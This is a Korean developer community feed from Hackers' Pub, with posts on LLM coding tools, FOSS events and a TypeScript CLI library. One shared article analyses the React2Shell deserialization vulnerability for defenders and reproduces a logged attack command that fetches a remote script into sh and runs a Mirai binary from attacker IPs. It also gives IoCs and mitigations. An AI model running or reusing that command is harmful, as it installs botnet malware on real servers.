  • AGENTS.md의 세세한 지시를 좀 뭉개는 느낌이 있다. 예를 들면 TypeScript 코딩할 때 any 타입을 쓰지 말라고 했음에도 무시하고 사용한다든가. Claude 계열 모델들에서는 이런 건 잘 못 겪는다.
  • 작업의 맥락보다 이미 학습되어 있는 자신의 지식을 더 따르는 느낌이 있다. 이를테면 일부러 여러 JavaScript 런타임에서 두루 돌아가게 하려고 Deno API를 안 쓰고 Node.js API를 써서 짜 둔 코드베이스에서 갑자기 Deno API를 꺼내서 쓰기 시작하는 식이다. 이것도 눈치 문제로 볼 수도 있을 듯.
  • 그렇게 중요하진 않지만 자연어 응답에 언어가 조금 섞인다. 특히 국한문혼용체가 종종 나온다. 나로서는 오히려 좋다(?). 그런데 자세히 보면 대륙에서 쓰는 간화자가 아니라서, 중국어가 섞이는 건 아닌 것 같다. 아마도 일본어 아니면 대만/홍콩의 중국어가 섞이는 것 같다. 아니면 정말로 국한문혼용체일지도? 그리고 아랍어도 한 번 섞이는 걸 봤다.
  • 속도는 그냥저냥 쓸만하지만 딱히 빠른 것도 아닌데, 이건 OpenCode에서 공짜로 제공하는 걸 써서 그럴 수도 있다. Claude Opus 4.5보다는 약간 느리다고 느꼈지만, 이것도 그냥 체감이라 정확하진 않다. 삽질하는 걸 더 많이 봐서 느리다고 착각한 걸 수도 있고.

일단은 OpenCode에서 공짜로 제공하는 동안은 좀 더 써 볼 생각이다. 돈 내고 쓸 생각이 있냐 하면, 그건 좀 고민이 된다. 코딩 요금제를 보면 5시간에 300 프롬프트짜리가 월 20불 정도 된다. 지금은 Claude Max 요금제를 쓰고 있는데, 아무래도 부담이 좀 되긴 해서, Claude Pro로 내리고 MiniMax를 섞어서 쓰면 어떨까 생각만 해보고 있다.

6
2
5

한 해를 마무리하는 글을 블로그에 썼습니다: 〈聯合宇宙(연합우주)와 함께 한 2025()〉(한글 專用文(전용문)이쪽). 題目(제목) 그대로 聯合宇宙(연합우주)와 함께 했던 저의 한 해를 되돌아 보는 글입니다. 聯合宇宙(연합우주) 德分(덕분)에 많은 因緣(인연)과 이어지게 되어서 感謝(감사)하게 생각합니다.

4

Just had someone leave feedback on my F/OSS project saying “maybe that's fine if a product is focused on your Chinese community.”

I'm Korean. Every single piece of documentation is in English. There's nothing in Chinese anywhere in the project.

This kind of microaggression is exhausting. As a non-white maintainer, you deal with these assumptions constantly—people who feel entitled to your labor while casually othering you based on your name.

It chips away at your motivation. It makes you wonder why you bother.

https://github.com/dahlia/optique/issues/59#issuecomment-3678606022

0
14
1
7

Juntai Park shared the below article:

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1
4
3
5

Hackers Public @ Seoul 송년회 ---- 2025년의 마지막을 해커들과 함께해요.

Hackers' Public @ Seoul 송년 네트워킹 밋업은 발표보다 대화, 형식보다 연결을 중심으로 진행됩니다. 라이트닝 토크도 지원받습니다. 만들었던 것·배운 것·고민했던 이야기를 자유롭게 얘기해보도록 해요.

많은 관심 부탁드립니다~

21
1
3

오는 11() 8() 光云大學校(광운대학교)에서 開催(개최)되는 FOSS for All 컨퍼런스 2025에서 제가 〈야크 셰이빙: 새로운 오픈 소스의 原動力(원동력)〉이라는 主題(주제)基調演說(기조연설)을 하게 되었습니다!

올해 처음 열리는 FOSS for All 컨퍼런스는 “Free and Open Source Software for All”이라는 슬로건 아래, 모두를 ()한 오픈 소스 컨퍼런스를 目標(목표)로 하는 非營利(비영리) 오픈 소스 커뮤니티 컨퍼런스입니다.

파란色 背景의 FOSS for All 컨퍼런스 2025 發表者 카드. 右側 아래에는 發表者 洪民憙의 寫眞이 있고, 中央의 흰色 말風船 안에는 「Keynote」라는 文句와 함께 發表 題目 〈야크 셰이빙: 새로운 오픈 소스의 原動力〉이 쓰여 있다.
15
0
0

개발자들이 연합우주에 잘 오지 않는 이유는 연합우주로 취업하기 어렵기 때문이다 연합우주 카르텔을 만들어서 서로 밀고 끌고 해줘야 한다!! (절대 제가 일자리를 알아보고 있어서 하는 말입니다)

20
3
21
4
0

Optique 0.6.0 is adding shell completion! We already support:

  • Bash
  • zsh
  • fish
  • PowerShell

This covers most users, but should we add more niche shells? Your input helps us prioritize!

5
3

Juntai Park shared the below article:

내가 LLM과 함께 코딩하는 방식

洪 民憙 (Hong Minhee) @hongminhee@hackers.pub

이 글은 저자가 LLM(Large Language Model)을 활용하여 코딩하는 방법에 대한 개인적인 경험과 팁을 공유합니다. LLM 코딩 에이전트 사용 시 맥락 제공의 중요성을 강조하며, Claude Code 모델을 선호하는 이유와 그 장단점을 설명합니다. 세부적인 지시를 위해 GitHub 이슈를 활용하고, 설계는 사람이, 구현은 LLM이 담당하는 역할 분담을 제안합니다. 또한, 프로젝트 지침을 담은 *AGENTS\.md* 파일의 중요성과 Context7을 활용한 문서 제공 방법을 소개합니다. 계획 모드를 통해 LLM이 스스로 피드백 루프를 돌도록 유도하고, 필요한 경우 손 코딩을 병행하여 코딩의 재미를 유지하는 전략을 제시합니다. 이 글은 LLM을 단순한 도구가 아닌 협력적인 동료로 활용하여 개발 효율성을 높이는 방법을 모색하는 개발자들에게 유용한 인사이트를 제공합니다.

Read more →
37
0
1
7

오는 11월 8일 토요일 오전 10시, 광운대학교에서 열리는 FOSS for All 컨퍼런스에 여러분을 초대합니다.

FOSS for All 컨퍼런스는 "Free and Open Source Software for All"이라는 슬로건 아래, 모두를 위한 오픈 소스 컨퍼런스를 목표로 하는 비영리 오픈소스 커뮤니티 주도의 컨퍼런스입니다.

FOSS for All 컨퍼런스는 오픈소스 소프트웨어와 커뮤니티에 관심 있는 누구나 참여할 수 있으며, 개발자, 기여자, 디자이너, 번역가, 기획자 등 다양한 역할의 사람들이 경험과 지식을 공유하는 장으로 기술 발표, 커뮤니티 부스, 패널 토크 등 다양한 프로그램이 마련될 예정입니다.

많은 후원과 참여를 부탁드리겠습니다. 고맙습니다. :-D

https://event-us.kr/fossforall/event/110400

3
18

타입 검사는 해결책이 아니라 증상이다〉(Type Checking is a Symptom, Not a Solution).

난 이 글에 동의하지 않는데, 여러 측면에서 그렇지만, 한 측면에만 집중해서 얘기해 보자면: 좋은 아키텍처는 훌륭한 프로그래머를 요구하지만 타입 시스템은 훌륭한 프로그래머를 요구하지 않기 때문이다.

누구나 훌륭한 프로그래머가 되어야만 하는가? 혹은 될 수 있는가? 좋은 아키텍처를 그릴 수 있는 훌륭한 프로그래머가 아니라면 소프트웨어 개발을 해서는 안 될까? 좋은 아키텍처에만 의존하는 것은 잠재적으로 엘리트주의를 끌어들이기 쉽다: 「어떤 시스템이 오작동하는 것은 아키텍처가 나쁘기 때문이다. 아키텍처가 나쁜 이유는 그걸 설계한 프로그래머가 수준 미달이기 때문이다」와 같이.

반면 타입 시스템은 일단 도입만 하면 누구나 그 덕을 볼 수 있다. 팀 내의 프로그래머들의 역량이 뛰어나든 뛰어나지 않든. 훨씬 평범한 보통 사람에게 유리하다. 타입 시스템이 미봉책일 수는 있지만, 그 미봉책이 더 많은 사람들을 프로젝트에 참여할 수 있게 해준다고 생각한다.

13
1
0
6
6
4

식탁보 3.0을 준비하면서, 이번에 매우 흥미로운 기능을 하나 추가하게 되었습니다. Claude Desktop에서 MCP 서버로 식탁보를 등록하면, 원하는 금융 기관이나 공공기관에 샌드박스로서 접속할 수 있게 연결시켜주는 기능입니다.

현재는 카탈로그에 있는 사이트를 찾아주어 들어가는 정도이지만, 좀 더 강화하여 주요 기관들의 거래 및 업무 처리 URL들을 데이터베이스화하거나 Claude의 자체 검색 기능으로 찾은 웹 사이트 주소를 바로 전달하는 것도 기술적으로 가능하게 구현해둔 상태입니다. (이 때 해당 웹 사이트에서 쓰는 플러그인 정보가 있다면 샌드박스 내에 매칭해서 자동 설치도 해줍니다.)

차근차근 준비해나가고 있으며, 이번 추석 연휴 기간 중에 마무리 짓는 것을 목표로 진행 중이니 많은 관심과 성원 부탁드립니다! 😉

https://www.youtube.com/watch?v=DAspuJFK9UI

5
0
0

Juntai Park shared the below article:

Stop writing CLI validation. Parse it right the first time.

洪 民憙 (Hong Minhee) @hongminhee@hackers.pub

This post introduces Optique, a new library created to address the pervasive problem of repetitive and often messy validation code in CLI tools. The author was motivated by the observation that nearly every CLI tool reinvents the wheel with similar validation patterns for dependent options, mutually exclusive options, and environment-specific requirements. Optique leverages parser combinators and TypeScript's type inference to ensure that CLI arguments are parsed directly into valid configurations, eliminating the need for manual validation. By describing the desired CLI configuration with Optique, TypeScript automatically infers the types and constraints, catching potential bugs at compile time. The author shares their experience of deleting large chunks of validation code and simplifying refactoring tasks. Optique aims to provide a more robust and maintainable approach to CLI argument parsing, potentially saving developers from writing the same validation logic repeatedly.

Read more →
21
3
1

✨ Hackers' Public 첫 오프라인 모임! ✨

Hackers' Pub 사용자들의 자발적인 모임, Hackers' Public이 📅 9월 14일(일) 오후 3시 ~ 6시 열립니다.

이번 모임에서는 많은 분들이 흥미로워할 두 가지 발표가 준비되어 있습니다:

  • 🎨 Code As a Canvas: 코드에서 예술작품이 되기까지
  • ✍️ 폰트는 어떻게 만들어지는가 – Neo둥근모 개발 후일담

또한 자유롭게 교류할 수 있는 네트워킹 시간도 마련되어 있으니 많은 관심 부탁드립니다 🙌

현재는 2차 모집 단계이며, 👉 신청은 포스터의 QR코드 또는 http://public.hackers.pub 에서 가능합니다. (두 경로 모두 동일한 이벤트 페이지로 연결됩니다)

2차 모집 기간은 9월 7일까지이며, 완판이 되었더라도 참가자 신청 대기하신 분 중에서 두분 정도 선정할 예정입니다!

Hackers Public 1회차 모임 포스터
6

Hackers' Pub 티셔츠를 제작 주문했습니다. 9월 3일(水)에 출고 예정이라고 합니다. 비용은 339,300원 들었는데, 총 17장 주문했으니 한 장에 2만원(배송료 미포함)이 되겠습니다.

@jihyeokJihyeok Seo @kodingwarriorJaeyeol Lee @z9mb1Jiwon @w8385박근형 @2chanhaeng초무 @nebuletoHaze @morealLee Dogeon @yihyunjoon이현준 @seha 아마 주문하신 대부분은 저랑 직접 만나서 전달 드릴 수 있을 것 같긴 한데, 배송이 필요하신 분은 제게 DM으로 이름, 연락처, 주소지, 우편번호를 알려주시기 바랍니다!

감사합니다.

Hackers' Pub 티셔츠 시안
7

Hackers' Public @ Seoul 1회차 모임 (1차 모집)

서울에서 열리는 Hackers' Pub 오프라인 밋업, "Hackers' Public @ Seoul"이 2025월 9월 14일(일) 처음으로 개최됩니다. 처음 열리는 밋업인 만큼, 참여하는 많은 분들이 재밌게 느낄 수 있는 소재 위주로 연사자 분들을 섭외했습니다.

  • 일시 : 9월 14일 (일) 오후 3시 ~ 오후 6시
  • 장소 : 서울특별시 성동구 상원길 26, 튜링의사과
  • 주제
    • Code As A Canvas : 코드에서 예술작품이 되기까지 (@jakeseo)
    • 폰트는 어떻게 만들어지는가 - NeoDGM 사례로 살펴보는 개발 후일담 (@dalgona)

강연이 끝나고 난 뒤에 자유롭게 네트워킹하는 시간을 가질 예정입니다. 각자 얘기하고 싶은 주제를 들고 오시면 좋습니다.

참여 신청

오프라인 밋업은 여기서 참여신청이 가능합니다. https://event-us.kr/hackerspubseoul/event/110961

  • 모집 기간
    • 1차 모집 : 8월 27일 ~ 9월 1일 (Hackers' Pub에서만 모집)
    • 2차 모집 : 9월 3일 ~ 9월 7일 (Hackers' Pub 외부에서도 공개적으로 모집)

주의사항

  • 본 행사는 Hackers' Pub에서 진행하는 오프라인 행사이며, Hackers' Pub 계정을 가지지 않은 분이 신청하셨을 경우 환불처리될 수 있습니다.
  • Hackers' Pub 외부에서 유입하시는 경우, 각 모집기간이 끝나고 24시간 안에는 Hackers' Pub에 가입이 되어 있으셔야 참여자로 확정됩니다.
4

Hackers' Public @ Seoul 1회차 모임 (1차 모집)

서울에서 열리는 Hackers' Pub 오프라인 밋업, "Hackers' Public @ Seoul"이 2025월 9월 14일(일) 처음으로 개최됩니다. 처음 열리는 밋업인 만큼, 참여하는 많은 분들이 재밌게 느낄 수 있는 소재 위주로 연사자 분들을 섭외했습니다.

  • 일시 : 9월 14일 (일) 오후 3시 ~ 오후 6시
  • 장소 : 서울특별시 성동구 상원길 26, 튜링의사과
  • 주제
    • Code As A Canvas : 코드에서 예술작품이 되기까지 (@jakeseo)
    • 폰트는 어떻게 만들어지는가 - NeoDGM 사례로 살펴보는 개발 후일담 (@dalgona)

강연이 끝나고 난 뒤에 자유롭게 네트워킹하는 시간을 가질 예정입니다. 각자 얘기하고 싶은 주제를 들고 오시면 좋습니다.

참여 신청

오프라인 밋업은 여기서 참여신청이 가능합니다. https://event-us.kr/hackerspubseoul/event/110961

  • 모집 기간
    • 1차 모집 : 8월 27일 ~ 9월 1일 (Hackers' Pub에서만 모집)
    • 2차 모집 : 9월 3일 ~ 9월 7일 (Hackers' Pub 외부에서도 공개적으로 모집)

주의사항

  • 본 행사는 Hackers' Pub에서 진행하는 오프라인 행사이며, Hackers' Pub 계정을 가지지 않은 분이 신청하셨을 경우 환불처리될 수 있습니다.
  • Hackers' Pub 외부에서 유입하시는 경우, 각 모집기간이 끝나고 24시간 안에는 Hackers' Pub에 가입이 되어 있으셔야 참여자로 확정됩니다.
16
4
5
5

Hackers' Pub은 현재 Fresh 프레임워크로 만들어져 있는데, Fresh 프레임워크의 한계를 벗어나기 위해 GraphQL + SolidStart 스택으로 넘어가는 작업(web-next)을 진행중입니다. 진행 상황을 관리하기 위해 에픽 이슈를 만들었습니다.

4